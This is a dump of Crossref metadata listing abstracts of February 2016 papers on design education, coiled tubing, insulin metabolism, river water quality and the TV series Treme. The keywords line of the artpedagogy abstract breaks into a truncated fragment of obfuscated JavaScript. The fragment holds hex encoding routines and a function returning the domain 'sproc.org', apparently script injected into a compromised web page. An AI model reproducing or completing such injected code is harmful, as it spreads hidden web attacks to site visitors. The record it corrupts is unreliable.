bluuebunny/crossref_metadata_2025_split huggingface dataset:
A comparative analysis of methods for triggering “creative thinking” in design studios
Authors: Atakan Gokçe 
Published: February 2016

“Design Studio” is acknowledged as the core course for “spatial design” in both architecture and interior architecture education. The main idea of the design studio is based on uniting all the gathered information from other classes in a context of an architectural project. The key expectation from the studio is to teach ‘how to think creatively’. This paper, particularly concentrates on interior architecture education. Design studios in Turkey, mostly use what is referred as the “contextual model” which starts with a given problem/ situation and proceeds from that given context. During the process of this approach, the instructor guides the student, discusses space generation and corrects technical mistakes. Taking “creative thinking” into consideration, it is important to constitute another model, which is referred as the “conceptual model”. This process starts with student’s thoughts triggered by chosen materials, and the instructor communicates through abstract and intellectual thinking, discusses idea generation and, corrects technical mistakes. In this paper, the method of comparative analysis is used to examine the advantages and disadvantages of each above mentioned design studio model. The comparison of models is done by criteria derived from Salama’s (1995) survey about the current situation in design studios. As a result of the study it is observed that, both models have some advantages and disadvantages regarding seven excogitated design studio criteria.Keywords: design education, design studio, creative thinking, ınterior architecture.
A study on selection of polymer based surface materials in interior design
Authors: Sadıklar Zeynep , Tavşan Filiz 
Published: February 2016

People interact with surfaces in interior spaces, where a huge part of their life lasts. Many of these surfaces which surrounds the interior spaces are covering or coating materials in various textures and shapes. Materials used in interior surfaces are applied for various purposes. Protection, insulation or decoration can be considered as the main objective of these purposes.This study aims to research what kind of polymer based surface materials are used by interior designers and their reasons, frequency and area of use. For this reason, the study is composed on a questionnaire. The questions are prepared by summarizing the polymer based material information obtained from the literature. The questionnaire participants are interior designers who are actively working in the field. With this group, a survey on selection of plastic materials has been made. Survey results are explained in the findings. The last chapter includes the conclusions and recommendations of the study.Keywords: Interior design, surface materials, plastics, polymers.
Reading image and thinking image in a new visual age
Authors: Taspınar Seyda Eraslan 
Published: February 2016

We are living in the age in which visually is prevailing intensely and mass communication is based upon image rather than expression. It is a significant skill for our age to comprehend the language of images in this new visual age. Art and visual world are not independent concepts. Visual literacy, a branch of multiple literacies emerged with the development of information and its transfer style, is a visual language utilized to work out issues of this new visual age. In this study, the relation of visual literacy concept to art and art education is investigated based on the literature in the light of technological advancements. Improvability of visual literacy skills through art education is discussed by compiling the results and comments of other studies and investigating the interrelation of art and visual literacy. At the end of the research with the scanning method, evaluations on the relations of visual literacy concept to art education and their interactive sides were carried out, and conclusions and recommendations were stated relevant to raise productive individuals that have visual literacy skills through an effective art education.Keywords: visual literacy, visual thinking, visual arts, visual arts education
Design artpedagogy in the system of modern education of pedagogy students during plain-air practice
Authors: Nebessayeva Zhanar , Rabilova Zoya , Musakulov Kusan 
Published: February 2016

The article reviews systematization and elaboration of artpedagogical nature of the “professional and creative activity of future visual arts teachers” concept together with its “performance”, “creativity” and “activity” categories, and the opportunities that plain-air practice provides to a teacher’s professional growth. The author has identified and substantiated the additional reserves of students’ creative activity intensification during plain-air practice; the author has also reviewed pedagogical conditions facilitating the intensification of professional and creative activity of students during plain-air practice.The article reviews a breakthrough approach to plain-air practice process aimed at the intensification of creative activity of students. The author has developed theoretical principles for the intensification of professional and creative activity of students during plain-air practice, including specific components, criteria and metrics. In general, the use of modern pedagogical techniques in artpedagogical education ensures proactive attitude of future specialists preparing for the upcoming professional activity. It improves the students’ understanding of the importance of their future profession, their motivation for achievement of better results in their professional and creative activity.Keywords: Artpedagogy, proactiveness, creativity, activity, plain-air practice, integration, imaginative cognition specificity.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "sproc.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Relation between landscape preferences and perception in animations
Authors: Demirbas Banu Özge 
Published: February 2016

“Anima”, the word root of animation, means mediator body between soul and physical body in Latin. Similar to its meaning, the animation technique - with its current form- created by showing images fast in series depicts the bridge between individual and digital reality. It is possible to catch details to which we show instinctive tendency in the visuals that we fictionalize.In the studies in this field where techniques such as 3D, 2D, stop motion and cut out are used, ambient similarities are observed to emerge. Considering from a psychological and biological perspective, we see that landscape preferences are infuential in the determination of our reactions towards the images that we watch. Traces from the way of living of first humans can be observed in the roots of the idea that determines the positive and negative efects on an individual by a completely fictional image. Environmental tendencies and preferences of an individual are shaped with respect to his/her actions experienced formerly. Establishment of aesthetical judgements is associated with this fact. It is seen that the animation movies, commercials and TV shows are produced based on the scene preferences that are thought to afect the individual in a positive way. In this study, relation of environmental tendencies created in animations with past experiences, and efect of this experience on individual are discussed. Elements located in the scenes are in harmony with each other. In order to reinforce the visual communication and to create an efective communication channel, this harmony should be taken into account. Efects of certain approaches between personality and scene preferences on our perception and subsequent similarities between our aesthetical judgements are investigated. It is seen that an efective communication channel can be created by emphasizing these tendencies that play an important role in the determination of our emotional preferences.Keywords: animation, landscape preference, perception, natural scenes, landscape aesthetics.
Significance of sketch in creativity process related to graphic design education
Authors: Karaata Ezgi 
Published: February 2016

Sketching holds significance for graphic design as well as it does in any other design process. The contribution of sketching to graphic design process comes in the form of generating new ideas and developing concepts. The solution of a design problem will not be the best one, if the designer uses technological tools, such as computers, directly in order to solve the design problem. The significance of sketching includes also the graphic design education. Even though computers are the mostly used tools in today's graphic design education, students should grasp the benefits of sketching. In this study, the role played in creative process by sketches that students do related to their projects during a course that is in the curriculum of a university’s Graphics Department will be discussed.Keywords: Design, graphic design, sketch, design process, creativity.
CT100+ Bias Weld Fatigue Life Estimations - Are Adjustments Required?
Authors: Padron Tomas , Aitken Bill 
Published: February 2016

Abstract
"Pure" fatigue failures (i.e. not started by corrosion or mechanical damage) are not common in coiled tubing strings because of the implementation of systems/models to manage the fatigue life. However, in recent years, a series of "pure" fatigue failures occurred on bias welds of high-strength (CT100+) strings. These strings are normally operated at high pressures (≈ 7,000 psi), and their bias welds were subjected to high levels of strain (1.7% to 2.2%). The objective of this paper is to show the approach used to establish the adjustments needed to the fatigue life model to account for these types of failures.
The work presented in this paper includes a brief characterization of the failures, summary of the fatigue data from the field, lab testing (at low and high strain) and the resulting analysis of the data. Prior to analyzing the data it was thought that some sort of acceleration of bias weld fatigue, relative to pipe fatigue, as a function of strain would be required.
Results of the study confirmed that, for CT100+ coiled tubing strings, the fatigue life of the bias welds, relative to pipe fatigue, was affected by the level of strain. At high level of strain (around 2.1%) the bias weld fatigue life was around 60% of that measured for the pipe base material. At low level of strain (around 1.4%) the bias weld fatigue performance was close to that of the pipe base material. Therefore, model adjustments were required in order to de-rate the fatigue life based on the level of strain at which each bias weld is subjected.
Coiled tubing interventions that use CT100+ strings, 2-in and larger outside diameter [OD], that are spooled on small reels (core reel diameters in the order of 80 to 84 in.) are becoming common within industry. These interventions impose high strain on the bias welds. An effective way to control and manage the fatigue life for these bias welds is needed to avoid unexpected failures that impact well intervention costs, job safety, and customer satisfaction.
Field Performance of New Coiled Tubing Manufacturing Technology and Comparisons With Laboratory Performance
Authors: Rolovic Radovan , Nguyen Thu-Ha , Grimaldo Carmen , Reichert Bruce 
Published: February 2016

Abstract
New coiled tubing manufacturing technology comprising new coiled tubing materials and new manufacturing processes was developed and commercialized recently. The new technology uses new steel chemistries and new heat treatment processes for full microstructure transformation to produce improved and uniform microstructure and properties along the entire coiled tubing string, including bias and seam welds. Coiled tubing strings based on the new technology showed major coiled tubing performance improvements in laboratory and test-well testing. This paper evaluates performance of the new coiled tubing technology in real-life field operations to determine effects of field usage on behavior and properties of the new coiled tubing materials. Additional laboratory testing and evaluation following the field use provide insight into the remaining life of coiled tubing strings, effects of field use on material properties and behavior, and relationship between laboratory testing and actual field use.
Coiled tubing produced by the new manufacturing technology has been put through extensive field use in various field operations and environments. Field usage data and results have been collected during commercial operations with coiled tubing made of the new 125-ksi grade material. At the end of field use the coiled tubing was retrieved for laboratory testing and evaluation. Residual and total fatigue life, mechanical properties, ballooning, and effects of operational environments were evaluated along the coiled tubing string and related to bending cycling, pressure, and environmental exposure. The new 125-ksi grade coiled tubing field operations and subsequent laboratory testing and evaluations confirmed major coiled tubing performance improvements previously observed in laboratory and test-well testing. Usable coiled tubing string life, including the life of bias welds, was more than twice the life of a comparable conventional 110-ksi grade coiled tubing string.
A Vibratory Tool Study on Extended Reach Horizontals During Coiled Tubing Drillout in the Eagle Ford Shale
Authors: McIntosh T. , Baros K. J. , Gervais J. G. , Schultz R. , Whitworth J. 
Published: February 2016

Abstract
As the Oil and Gas Industry continues to evolve, operators are pushing the limit to lengthen their reach in the reservoir to contact more payzone. Correspondingly, challenges for traditional downhole operations are steadily increasing. One of the more significant challenges is coiled tubing's ability to reach target depth. This has flooded the industry with a number of vibratory tools which would enable the traditional practices of coiled tubing to continue.
A study of vibratory tools was conducted on five wells in the Eagle Ford field. The purpose of the vibratory tool study was to gain a better understanding of top competing tools and how they compared. A total of five different wells were drilled out. Four of the five wells were drilled out using different vibratory tools while one of the wells was drilled out without any vibratory tool. While the wellbore geometries varied slightly, general characteristics remained consistent.
The four tools chosen for the trial were identified as top competing tools in the industry for the Eagle Ford area. Three of the tools used exerted an axial force on the coiled tubing while the fourth tool exerted a radial / lateral force. The trial well with no tool used friction reducer in place of the vibratory tool. Coiled tubing was only successful at reaching bottom on three out of the five trial wells.
While results are inconclusive as to what "the best" tool is; they certainly can provide contrast between each tool. Certain variables such as the wellbore geometry, inconsistencies in chemical usage and fluid condition differed from well to well and may have played a role in a tool's performance. Despite these differences, the tool that performed considerably well has a fluidic design and operates with no moving parts.
Optimizing Bridge Plug Milling Efficiency Utilizing Weight-On-Bit to Control Debris Size: A Comparative Study of the Debris Size vs Weight-On-Bit Utilizing Five Bladed Carbide Mill, Tri-Cone and PDC Bits
Authors: Yeung John , Fraser Ted , Thiessen Kevin , Medvedev Oleg 
Published: February 2016

Abstract
Weight-on-bit can be challenging to calculate at surface as downhole motor performance is generally observed from differential pressure and rate of penetration (ROP). If an accurate weight-on-bit (WOB) is maintained, motor performance and ROP can be maximized while controlling debris size. This will increase the efficiency of the entire millout operation. The weight-on-bit can be monitored and manipulated live via new software (Yeung, J. et al. 2015).
The objective of this research paper is to conduct a comparative study that analyzes the performance of the five bladed carbide mill, tri-cone and PDC bits in terms of debris size vs weight-on-bit. Two main criteria will be used for the analysis. Firstly, a test will be carried out in order to determine how the set down force affects the drilling tool in terms of generating smaller debris size. This knowledge intends to improve wellbore clean outs and reduce the number of wiper trips. Secondly, the test will analyze how set down force of the drilling tool affects the ROP on the bridge plug. One specific type of 4-1/2″ bridge plug with a combination of selected mills and bits will be studied in this paper to control the experiment. However, the overall milling parameters may vary greatly depending on the manufacturers, plug, mill, and bit types.
A series of bridge plugs will be milled out in a controlled environment using the five bladed carbide mill and tri-cone and PDC bits. Each bridge plug will be milled out using a different weight-on-bit. After the bridge plug is milled out, all the plug debris is collected, and sorted based on a debris size distribution graph. The ROP will also be measured during the milling process to determine milling efficiency.
In summary, this paper will compare the performance executed by the five bladed carbide mill, tri-cone, and PDC bits. This paper will identify the optimal weight-on-bit to achieve the desired quantitative debris size with these plugs. More studies need to be conducted for different plug types to see how weight-on-bit affects debris size.
Branched-Chain Amino Acids and Insulin Metabolism: The Insulin Resistance Atherosclerosis Study (IRAS)
Authors: Lee C. Christine , Watkins Steve M. , Lorenzo Carlos , Wagenknecht Lynne E. , Il’yasova Dora , Chen Yii-Der I. , Haffner Steven M. , Hanley Anthony J. 
Published: February 2016

OBJECTIVE
Recent studies using untargeted metabolomics approaches have suggested that plasma branched-chain amino acids (BCAAs) are associated with incident diabetes. However, little is known about the role of plasma BCAAs in metabolic abnormalities underlying diabetes and whether these relationships are consistent across ethnic populations at high risk for diabetes. We investigated the associations of BCAAs with insulin sensitivity (SI), acute insulin response (AIR), and metabolic clearance of insulin (MCRI) in a multiethnic cohort.

RESEARCH DESIGN AND METHODS
In 685 participants without diabetes of the Insulin Resistance Atherosclerosis Study (IRAS) (290 Caucasians, 165 African Americans, and 230 Hispanics), we measured plasma BCAAs (sum of valine, leucine, and isoleucine) by mass spectrometry and SI, AIR, and MCRI by frequently sampled intravenous glucose tolerance tests.

RESULTS
Elevated plasma BCAAs were inversely associated with SI and MCRI and positively associated with fasting insulin in regression models adjusted for potential confounders (β = −0.0012 [95% CI −0.0018, −0.00059], P &lt; 0.001 for SI; β = −0.0013 [95% CI −0.0018, −0.00082], P &lt; 0.001 for MCRI; and β = 0.0015 [95% CI 0.0008, 0.0023], P &lt; 0.001 for fasting insulin). The association of BCAA with SI was significantly modified by ethnicity, with the association only being significant in Caucasians and Hispanics. Elevated plasma BCAAs were associated with incident diabetes in Caucasians and Hispanics (multivariable-adjusted odds ratio per 1-SD increase in plasma BCAAs: 1.67 [95% CI 1.21, 2.29], P = 0.002) but not in African Americans. Plasma BCAAs were not associated with SI-adjusted AIR.

CONCLUSIONS
Plasma BCAAs are associated with incident diabetes and underlying metabolic abnormalities, although the associations were generally stronger in Caucasians and Hispanics.
Assessment of surface water quality using hierarchical cluster analysis
Authors: Dabgerwal Dheeraj Kumar , Tripathi Shailendra Kumar 
Published: February 2016

This study was carried out to assess the physicochemical quality river Varuna inVaranasi,India. Water samples were collected from 10 sites during January-June 2015. Pearson correlation analysis was used to assess the direction and strength of relationship between physicochemical parameters. Hierarchical Cluster analysis was also performed to determine the sources of pollution in the river Varuna. The result showed quite high value of DO, Nitrate, BOD, COD and Total Alkalinity, above the BIS permissible limit. The results of correlation analysis identified key water parameters as pH, electrical conductivity, total alkalinity and nitrate, which influence the concentration of other water parameters. Cluster analysis identified three major clusters of sampling sites out of total 10 sites, according to the similarity in water quality. This study illustrated the usefulness of correlation and cluster analysis for getting better information about the river water quality.International Journal of Environment Vol. 5 (1) 2016, pp: 32-44
Cover, recover et uncover : les motifs de la reprise dans la série Treme
Authors: Marquis Peter 
Published: February 2016

Quoique Treme, le nouveau projet de Simon et Overmyer pour HBO, n’ait pas encore été diffusée dans son intégralité, un motif récurrent apparaît, celui de la reprise. Il y a bien sûr la rénovation de La Nouvelle-Orléans après le passage de l’ouragan Katrina et de l’inondation qui lui fit suite, mais aussi la reconstruction de la culture locale, et celle des personnages. D’une manière ou d’une autre, ceux-ci sont tous engagés dans un processus de reconstruction, après des destructions de l’intime, du matériel, ou de l’immatériel. Cet article questionne la manière dont la série travaille le motif de la reprise, entendue comme répétition altérée d’un existant, aussi bien dans la vie des personnages que dans sa poétique même. Sur les onze épisodes de la saison 2, trois avatars de la reprise apparaissent : la reprise musicale (cover), la reprise métaphorique (recover) et la reprise critique (uncover). Ces trois motifs s’enchevêtrent pour donner à la série une tonalité idiosyncratique, mélange de lenteur, de compassion et d’indignation, une « note Treme » qui trouve son origine dans le recours généralisé à la figure de la reprise. En mettant la reprise au cœur de sa facture autant au niveau de la diégèse que de la métadiégèse, Treme ne cesse d’interroger les rapports complexes entre le pouvoir, la culture et la résilience des gens de peu.